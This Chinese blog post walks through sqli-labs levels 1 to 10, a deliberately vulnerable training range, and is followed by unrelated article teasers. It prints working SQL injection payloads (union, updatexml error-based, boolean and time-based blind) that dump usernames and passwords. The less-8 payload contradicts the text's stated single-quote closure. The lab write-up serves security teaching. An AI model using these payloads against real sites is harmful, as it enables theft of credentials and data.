sqli-lab靶场通关

文章目录

  • less-1
  • less-2
  • less-3
  • less-4
  • less-5
  • less-6
  • less-7
  • less-8
  • less-9
  • less-10

less-1

1、提示输入参数id，且值为数字；
在这里插入图片描述
在这里插入图片描述

2、判断是否存在注入点

	id=1'

在这里插入图片描述

报错，说明存在 SQL注入漏洞。

3、判断字符型还是数字型
在这里插入图片描述

	id=1 and 1=1 --+id=1 and 1=2 --+id=1" --+

注意，注释#可能没有--+好使

在这里插入图片描述

在这里插入图片描述

两次页面返回均正常，说明为字符型注入。

下面判断闭合类型：
在这里插入图片描述

也可以从报错的地方看出是单引号闭合。

在这里插入图片描述

可以看出是单引号闭合。
综上，该关卡属于字符型注入，且闭合符号为单引号。

4、判断字段数

	id=1' order by 3 --+

在这里插入图片描述

字段数为三，也就是说sql查询的结果中，有三列数据。

5、查看回显点

	id=-1' union select 1,2,3 --+

在这里插入图片描述

注意：要确保union select前面的语句，也就是id在数据库中是不存在的，才会看到回显点。

6、查看数据库名

	id=-1' union select 1,(select database()),3 --+

在这里插入图片描述

可以得到数据库名为security.

7、查看表名

	id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

在这里插入图片描述

可以看出security表中，有四张表。

8、查看字段名

	id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

在这里插入图片描述

9、查看字段值

	id=-1' union select 1,(select group_concat(concat(username,'%23',password)) from security.users),3 --+

在这里插入图片描述

下面主要介绍思路，就不全流程走完了。

less-2

在这里插入图片描述
1、判断是否存在注入漏洞

	id=1'

在这里插入图片描述

说明存在SQL注入漏洞。

2、判断字符型还是数字型

	id=1 and 1=1 --+id=1 and 1=2 --+

在这里插入图片描述
在这里插入图片描述

说明属于数字型注入。

3、判断字段数

	id=1 order by 3 --+

在这里插入图片描述>后面的步骤和前一关一样，在这里不在赘述。

less-3

1、用单引号判断是否存在sql注入。
在这里插入图片描述

说明存在sql注入漏洞。

2、判断字符型还是数字型
在这里插入图片描述
在这里插入图片描述

返回正常，说明属于字符型注入。

下面确定闭合符号：
在这里插入图片描述

从这里看出，后端代码是在id值后面加了')，再进行查询的。
所以，闭合符号为')。

在这里插入图片描述
在这里插入图片描述

less-4

用单引号判断是否存在sql注入。
在这里插入图片描述

单引号不行，试试双引号，

在这里插入图片描述

说明存在SQL注入漏洞。单引号没反应，只能说明此处的闭合方式没用到单引号，试试其他符号。

在这里插入图片描述

从这里可以看出，闭合方式是双引号+单括号。最外面的那个单引号是为了区分其他无关报错信息。
在这里插入图片描述

less-5

用单引号判断是否存在SQL注入漏洞
在这里插入图片描述

可以看到，存在SQL注入漏洞，且闭合符号为单引号。

在这里插入图片描述

因为页面没有回显，所以，这里，我们不能用联合查询，需要用盲注。

在这里插入图片描述

在这里插入图片描述

可以看到，此处只有两种页面显示，可以使用布尔盲注；
因为有报错，所以也可以使用报错注入。

使用盲注，直接判断数据库长度

	id=1' and length(database())=8 --+ //判断数据库名长度

在这里插入图片描述

说明当前数据库名的长度为8，这里就不演示布尔盲注，太麻烦了~盲注。

这里使用报错注入进行演示：
（1）查数据库名

	id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

在这里插入图片描述
（2）查表名

	id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

在这里插入图片描述
（3）查字段名

	id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

在这里插入图片描述
（4）查字段值

	id=1' and updatexml(1,concat(0x7e,(select group_concat(concat(username,'%23',password)) from security.users),0x7e),1) --+

在这里插入图片描述

注意：该语句对输出的字符长度也做了限制，其最长输出32位。

less-6

单引号判断是否存在sql注入漏洞；
在这里插入图片描述
单引号不行，双引号上，成了~
在这里插入图片描述
可以看出，只有双引号闭合，故试试：
在这里插入图片描述
既然有报错，那就用报错注入吧~

查数据库名

	id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

在这里插入图片描述

后面就不多赘述了~

less-7

用单引号判断是否存在sql注入
在这里插入图片描述
在这里插入图片描述

页面返回不一样，所以存在SQL注入漏洞，但是没有报错也没有回显，只能使用盲注。

需要试试，出来闭合符号为'))
在这里插入图片描述

使用布尔盲注，直接判断数据库长度

	id=1')) and length(database())=8 --+ //判断数据库名长度

在这里插入图片描述

less-8

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

通过单引号判断存在 sql注入漏洞；同时，发现闭合引号就是单引号。因为此处没有报错，也没有回显，只能用布尔盲注。

使用布尔盲注，直接判断数据库长度

	id=1')) and length(database())=8 --+ //判断数据库名长度

在这里插入图片描述

less-9

这一关需要用时间盲注，payload:

	id=1 and sleep(5) --+ //数字型则等待5秒id=1' and sleep(5) --+ //字符型则等待5秒

在这里插入图片描述

可知存在SQL注入漏洞，闭合符号为单引号，且类型属于时间盲注。

使用时间盲注，直接判断数据库长度

	id=1' and if(length(database())=8,sleep(5),1) --+ //猜数据库名长度

在这里插入图片描述

数据库长度为8，后续就是一个一个字母猜数据库名，然后表名、字段名、字段内容，在这里不在赘述。

less-10

这一关与前一关得区别主要是，闭合符号换成了双引号，其余都一样。
在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/101597.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

智能工业通信解决方案！钡铼BL124实现Modbus转Ethernet/IP互联！

智能工业通信解决方案！钡铼BL124实现Modbus转Ethernet/IP互联！

钡铼技术BL124 Modbus转Ethernet/IP协议网关是一款专为工业自动化领域而设计的先进设备。它提供了可靠的通信解决方案，能够将Modbus通信协议与Ethernet/IP通信协议进行高效转换，实现不同类型设备之间的无缝集成和通信。 添加图片注释，不超过 …
阅读更多...
【AI】深度学习——前馈神经网络——全连接前馈神经网络

【AI】深度学习——前馈神经网络——全连接前馈神经网络

文章目录 1.1 全连接前馈神经网络1.1.1 符号说明超参数参数活性值 1.1.2 信息传播公式通用近似定理 1.1.3 神经网络与机器学习结合二分类问题多分类问题 1.1.4 参数学习矩阵求导链式法则更为高效的参数学习反向传播算法目标计算 ∂ z ( l ) ∂ w i j ( l ) \frac{\partial z^{…
阅读更多...
React 状态管理 - Context API 前世今生（上）旧版v16.3前

React 状态管理 - Context API 前世今生（上）旧版v16.3前

目录 扩展学习资料 Context api before React v16.3 Context 实战使用-Context Context VS Props Context Props Context的缺陷 New Context API 的实践 扩展学习资料 名称 链接 备注 new context api https://reactjs.org/docs/context.html 英文 old context …
阅读更多...
前端预览、下载二进制文件流（png、pdf）

前端预览、下载二进制文件流（png、pdf）

前端请求设置 responseType: “blob” 后台接口返回的文件流如下&#xff1a; 拿到后端返回的文件流后&#xff1a; 预览 <iframe :src"previewUrl" frameborder"0" style"width: 500px; height: 500px;"></iframe>1、预览 v…
阅读更多...
理解http中cookie！C/C++实现网络的HTTP cookie

理解http中cookie！C/C++实现网络的HTTP cookie

HTTP嗅探&#xff08;HTTP Sniffing&#xff09;是一种网络监控技术&#xff0c;通过截获并分析网络上传输的HTTP数据包来获取敏感信息或进行攻击。其中&#xff0c;嗅探器&#xff08;Sniffer&#xff09;是一种用于嗅探HTTP流量的工具。 在HTTP嗅探中&#xff0c;cookie是一…
阅读更多...
Python —— 接口自动化（1）

Python —— 接口自动化（1）

1、接口测试的基础概述 1、接口测试的方式 1、主流的工具类型 - jmeter,postman,apifox,fastapi,apipost.... 2、公开的自动化平台 - metersphere,yapi.... 3、公司内部自研平台 - 4、全面使用代码自己去完成框架搭建&#xff0c;项目实战.... 不论是平台还是工具&#xff0…
阅读更多...
【Redis】Redis性能优化：理解与使用Redis Pipeline

【Redis】Redis性能优化：理解与使用Redis Pipeline

原创不易&#xff0c;注重版权。转载请注明原作者和原文链接 文章目录 Pipeline介绍原生批命令(MSET, MGET) VS PipelinePipeline的优缺点一些疑问Pipeline代码实现 当我们谈论Redis数据处理和存储的优化方法时&#xff0c;「 Redis Pipeline」无疑是一个不能忽视的重要技术。…
阅读更多...
Transformer预测 | Pytorch实现基于Transformer的时间序列预测（含单步与多步实验）

Transformer预测 | Pytorch实现基于Transformer的时间序列预测（含单步与多步实验）

文章目录 效果一览文章概述模型描述程序设计单步实验多步实验参考资料效果一览 文章概述 Transformer预测 | Pytorch实现基于Transformer的时间序列预测（含单步与多步实验） Transformer-singlestep.py 包含单步预测模型 Transformer-multistep.py 包含多步预测模型 这是单步预…
阅读更多...
基于ChatGPT+词向量/词嵌入实现相似商品推荐系统

基于ChatGPT+词向量/词嵌入实现相似商品推荐系统

最近一个项目有个业务场景是相似商品推荐&#xff0c;给一个商品描述(比如 WIENER A/B 7IN 5/LB FZN )&#xff0c;系统给出商品库中最相似的TOP 5种商品&#xff0c;这种单纯的推荐系统用词向量就可以实现&#xff0c;不过&#xff0c;这个项目特点是商品库巨大&#xff0c;有…
阅读更多...
Python爬虫(二十二)_selenium案例：模拟登陆豆瓣

Python爬虫(二十二)_selenium案例：模拟登陆豆瓣

本篇博客主要用于介绍如何使用seleniumphantomJS模拟登陆豆瓣&#xff0c;没有考虑验证码的问题&#xff0c;更多内容&#xff0c;请参考&#xff1a;Python学习指南 #-*- coding:utf-8 -*-from selenium import webdriver from selenium.webdriver.common.keys import Keysimp…
阅读更多...
材质、纹理、贴图的区别和关联

材质、纹理、贴图的区别和关联

1、材质、纹理、贴图的概念 材质&#xff08;Material&#xff09;、纹理&#xff08;Texture&#xff09;、贴图&#xff08;Texture Map&#xff09;是计算机图形学中的三个概念&#xff0c;它们之间存在关系但也有一些区别。 材质&#xff08;Material&#xff09;是描述物…
阅读更多...
[leetcode 优先队列] 2512. 奖励最顶尖的 K 名学生 M

[leetcode 优先队列] 2512. 奖励最顶尖的 K 名学生 M

给你两个字符串数组 positive_feedback 和 negative_feedback &#xff0c;分别包含表示正面的和负面的词汇。不会 有单词同时是正面的和负面的。 一开始&#xff0c;每位学生分数为 0 。每个正面的单词会给学生的分数 加 3 分&#xff0c;每个负面的词会给学生的分数 减 1 分…
阅读更多...
算法进阶——字符串的排列

算法进阶——字符串的排列

题目 输入一个长度为 n 字符串&#xff0c;打印出该字符串中字符的所有排列&#xff0c;你可以以任意顺序返回这个字符串数组。 例如输入字符串ABC,则输出由字符A,B,C所能排列出来的所有字符串ABC,ACB,BAC,BCA,CBA和CAB。 数据范围&#xff1a;n<10 要求&#xff1a;空间复…
阅读更多...
pytorch 训练、微调YOLOv5，YOLOv8 小技巧 合集

pytorch 训练、微调YOLOv5，YOLOv8 小技巧 合集

文章大纲 前置文章训练过程中：基于多核CPU的加速其他AI 加速器参考文献与学习路径前置文章 yolo v5 坐标相关的判断与转换，评价指标，训练结果解析YOLOv8 多目标跟踪与常见问题汇总python + pytorch 多线程实现级联模型的业务逻辑yolov5 奇奇怪怪的错误汇总:【版本兼容，模型…
阅读更多...
设计模式 - 中介者模式

设计模式 - 中介者模式

目录 一. 前言 二. 实现 三. 优缺点 一. 前言 中介者模式又叫调停模式&#xff0c;定义一个中介角色来封装一系列对象之间的交互&#xff0c;使原有对象之间的耦合松散&#xff0c;且可以独立地改变它们之间的交互。 中介者模式可以使对象之间的关系数量急剧减少&#xff0…
阅读更多...
nginx开启https配置之后网页无法访问问题处理

nginx开启https配置之后网页无法访问问题处理

背景说明 最近新购服务器部署nginx之后按照之前的方式部署前端项目并配置https之后访问页面显示:无法访问.新的服务器ECS系统和之前相同,nginx安装方式也相同,nginx配置方式也是相同.但是访问还是显示无法访问.下面简单记录一下问题处理过程. 处理过程 1.https访问之后无法访问…
阅读更多...
uniapp中videojs、renderjs的使用

uniapp中videojs、renderjs的使用

在uniapp中使用了某些前端库或iframe&#xff0c;需要操作这些库中的dom的时候&#xff0c; 而uni上又没有document等基础对象。也就无法操作这些dom去实现一些交互逻辑&#xff0c;那么&#xff0c;涉及到这些的前端类库就无法使用&#xff0c;例如html2、canvas、image、vide…
阅读更多...
php+html+js+ajax实现文件上传

php+html+js+ajax实现文件上传

phphtmljsajax实现文件上传 目录 一、表单单文件上传 1、上传页面 2、接受文件上传php 二、表单多文件上传 1、上传页面 2、接受文件上传php 三、表单异步xhr文件上传 1、上传页面 2、接受文件上传php 四、表单异步ajax文件上传 1、上传页面 2、接受文件上传ph…
阅读更多...
Day-08 基于 Docker安装 Nginx 镜像-负载均衡

Day-08 基于 Docker安装 Nginx 镜像-负载均衡

1、反向代理后&#xff0c;自然而然就引出了负载均衡,下面简单实现负载均衡的效果; 2、实现该效果需要再添加一个 Nginx &#xff0c;所以要增加一个文件夹。 /home|---mutou|----nginx|----conf.d|----html|----conf.d2|----html3 1.创建 html3 文件夹&#xff0c; 新建 index…
阅读更多...
CART 算法——决策树

CART 算法——决策树

目录 1.CART的生成&#xff1a; &#xff08;1&#xff09;回归树的生成 &#xff08;2&#xff09;分类树的生成 ①基尼指数 ②算法步骤 2.CART剪枝&#xff1a; &#xff08;1&#xff09;损失函数 &#xff08;2&#xff09;算法步骤&#xff1a; CART是英文“class…
阅读更多...
最新文章

Copyright @ 2022~2023